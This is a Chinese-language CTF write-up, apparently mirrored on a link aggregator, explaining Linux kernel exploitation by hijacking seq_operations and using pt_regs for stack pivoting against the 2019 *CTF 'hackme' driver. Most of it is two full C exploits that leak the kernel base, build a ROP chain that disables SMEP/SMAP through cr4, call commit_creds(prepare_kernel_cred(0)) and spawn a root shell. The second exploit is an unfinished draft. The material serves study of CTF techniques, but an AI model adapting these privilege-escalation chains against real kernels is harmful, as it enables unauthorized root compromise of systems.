1

kernel 劫持seq_operations && 利用pt_regs - 狒猩橙

 1 year ago
source link: https://www.cnblogs.com/pwnfeifei/p/16246790.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

kernel 劫持seq_operations && 利用pt_regs

劫持seq_operations进行栈迁移

seq_operations是一个大小为0x20的结构体,在打开/proc/self/stat会申请出来。里面定义了四个函数指针,通过他们可以泄露出内核基地址。

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

当我们read一个stat文件时,内核会调用proc_opsproc_read_iter指针

ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
    struct seq_file *m = iocb->ki_filp->private_data;
    //...
    p = m->op->start(m, &m->index);
    //...

即会调用seq_operations->start指针,我们只需覆盖start指针为特定gadget,即可控制程序执行流。

2019 *starctf hackme关闭smap来尝试这种打法

exp1

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/sem.h>
#include <sys/mman.h>

int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};

struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};

void add(int index, size_t len, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	ioctl(fd, 0x30000, &heap);
}

void delete(int index)
{
	struct Heap heap;
	heap.index = index;
	ioctl(fd, 0x30001, &heap);
}

void edit(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30002, &heap);
}

void show(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30003, &heap);
}


void save_status()
{
	__asm__(
	"mov user_cs, cs;"
	"mov user_ss, ss;"
	"mov user_sp, rsp;"
	"pushf;"
	"pop user_rflags;"
	);
	puts("[+] save the state success!");
}

void get_shell()
{
	if (getuid() == 0)
	{
		puts("[+] get root");
		//system("/bin/sh");
		char *shell = "/bin/sh";
		char *args[] = {shell, NULL};
		execve(shell, args, NULL);
	}
	else
	{
		puts("[-] get shell error");
		sleep(3);
		exit(0);
	}
}

void get_root(void)
{
	//commit_creds(prepare_kernel_cred(0));
	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
	void (*cc)(void *) = (void (*)(void *))commit_creds;
	(*cc)((*pkc)(0));
}

int main()
{
	char buf[0x1000] = {0};
	int i;
	size_t seq_data[4] = {0};

	save_status();

	fd = open("/dev/hackme",0);
	if(fd < 0)
	{
		puts("[-] open file error");
		exit(0);
	}

	add(0, 0x20, buf); // 0
	add(1, 0x20, buf); // 1
	add(2, 0x20, buf); // 2
	add(3, 0x20, buf); // 3

	delete(0);
	delete(2);

	int fd_seq = open("/proc/self/stat", 0);
	if(fd_seq < 0)
	{
		puts("[-] open stat error");
		exit(0);
	}
	
	show(3, 0x20, -0x20, buf);
	vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
	off = vmlinux_base - raw_vmlinux_base;
	commit_creds = off + 0xffffffff8104d220;
	prepare_kernel_cred = off + 0xffffffff8104d3d0;
	show(1, 0x20, -0x20, buf);
	heap_base = ((size_t *)buf)[0] - 0x80;
	printf("[+] heap_base=> 0x%lx\n", heap_base);

	i = 0;
	rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;
	rop[i++] = 0x6f0;
	rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
	rop[i++] = 0;
	rop[i++] = (size_t)get_root;
	rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret; 
	rop[i++] = 0;
	rop[i++] = 0;
	rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;
	rop[i++] = (size_t)get_shell;
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;

	((size_t *)buf)[0] = off + 0xffffffff8103018e; // xchg eax, esp; ret;
	edit(3, 0x20, -0x20, buf);
	
	size_t fake_stack = (heap_base + 0x40) & 0xffffffff;
	size_t mmap_base = fake_stack & 0xfffff000;

	if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base)
		{
			puts("[-] mmap error");
			sleep(3);
			exit(0);
		}
	else
		puts("[+] mmap success");

	memcpy((void *)fake_stack, rop, sizeof(rop));

	read(fd_seq, buf, 1);
	return 0;
}

利用pt_regs

可以写一段如下汇编来控制程序执行流,再通过将寄存器押上栈进行ROP

	__asm__(
	"mov r15, 0x1111111111;"
	"mov r14, 0x2222222222;"
	"mov r13, 0x3333333333;"
	"mov r12, 0x4444444444;"
	"mov rbp, 0x5555555555;"
	"mov rbx, 0x6666666666;"
	"mov r11, 0x7777777777;"
	"mov r10, 0x8888888888;"
	"mov r9,  0x9999999999;"
	"mov r8,  0xaaaaaaaaaa;"
	"mov rcx, 0x666666;"
	"mov rdx, 8;"
	"mov rsi, rsp;"
	"mov rdi, fd_seq;"
	"xor rax, rax;"
	"syscall"
	);

这是为什么呢?大家都知道系统调用是通过布置好寄存器的值之后执行syscall的过程,通过门结构进入到内核中的entry_SYSCALL_64函数。这个函数的内部存在这样一条指令: PUSH_AND_CLEAR_REGS rax=$-ENOSYS,这个指令很巧妙,他会把所有的寄存器压到栈上形成一个pt_regs结构体,位于内核栈底。

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

这里寄存器r8-r15都会被放到栈上,如果我们可以合理控制好这些寄存器的值,再找到一个add rsp, xxxh; ret;的寄存器放在seq_operations->start的位置,那么就可以控制程序执行流,考虑到一般这里栈上连续存放的寄存器一般只有4-5个,我们可以用commit_creds(&init_cred)来代替commit_creds(prepare_kernel_cred(NULL)),布局如下:

pop_rdi_ret;
init_cred;
commit_creds;
swapgs_restore_regs_and_return_to_usermode;

由于我这里并没有能找到合适的add rsp, xxxh; ret;,故就留一个调试半成品exp

exp2:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/sem.h>
#include <sys/mman.h>

int fd;
size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;
size_t vmlinux_base, heap_base, off, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t rop[0x100] = {0};
int fd_seq;

struct Heap{
    size_t index;
    char *data;
    size_t len;
    size_t offset;
};

void add(int index, size_t len, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	ioctl(fd, 0x30000, &heap);
}

void delete(int index)
{
	struct Heap heap;
	heap.index = index;
	ioctl(fd, 0x30001, &heap);
}

void edit(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30002, &heap);
}

void show(int index, size_t len, size_t offset, char *data)
{
	struct Heap heap;
	heap.index = index;
	heap.data = data;
	heap.len = len;
	heap.offset = offset;
	ioctl(fd, 0x30003, &heap);
}


void save_status()
{
	__asm__(
	"mov user_cs, cs;"
	"mov user_ss, ss;"
	"mov user_sp, rsp;"
	"pushf;"
	"pop user_rflags;"
	);
	puts("[+] save the state success!");
}

void get_shell()
{
	if (getuid() == 0)
	{
		puts("[+] get root");
		//system("/bin/sh");
		char *shell = "/bin/sh";
		char *args[] = {shell, NULL};
		execve(shell, args, NULL);
	}
	else
	{
		puts("[-] get shell error");
		sleep(3);
		exit(0);
	}
}

void get_root(void)
{
	//commit_creds(prepare_kernel_cred(0));
	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
	void (*cc)(void *) = (void (*)(void *))commit_creds;
	(*cc)((*pkc)(0));
}

int main()
{
	char buf[0x1000] = {0};
	int i;
	size_t seq_data[4] = {0};

	save_status();

	fd = open("/dev/hackme",0);
	if(fd < 0)
	{
		puts("[-] open file error");
		exit(0);
	}

	add(0, 0x20, buf); // 0
	add(1, 0x20, buf); // 1

	delete(0);

	fd_seq = open("/proc/self/stat", 0);
	if(fd_seq < 0)
	{
		puts("[-] open stat error");
		exit(0);
	}
	
	show(1, 0x20, -0x20, buf);
	vmlinux_base = ((size_t *)buf)[0] - 0xd30c0;
	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);
	off = vmlinux_base - raw_vmlinux_base;
	commit_creds = off + 0xffffffff8104d220;
	prepare_kernel_cred = off + 0xffffffff8104d3d0;

	size_t gadget = 0xffffffff8103018e; // xchg eax, esp; ret;
	((size_t *)buf)[0] = gadget;

	edit(1, 0x20, -0x20, buf);

	__asm__(
	"mov r15, 0x1111111111;"
	"mov r14, 0x2222222222;"
	"mov r13, 0x3333333333;"
	"mov r12, 0x4444444444;"
	"mov rbp, 0x5555555555;"
	"mov rbx, 0x6666666666;"
	"mov r11, 0x7777777777;"
	"mov r10, 0x8888888888;"
	"mov r9,  0x9999999999;"
	"mov r8,  0xaaaaaaaaaa;"
	"mov rcx, 0x666666;"
	"mov rdx, 8;"
	"mov rsi, rsp;"
	"mov rdi, fd_seq;"
	"xor rax, rax;"
	"syscall"
	);
	return 0;
}

__EOF__


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK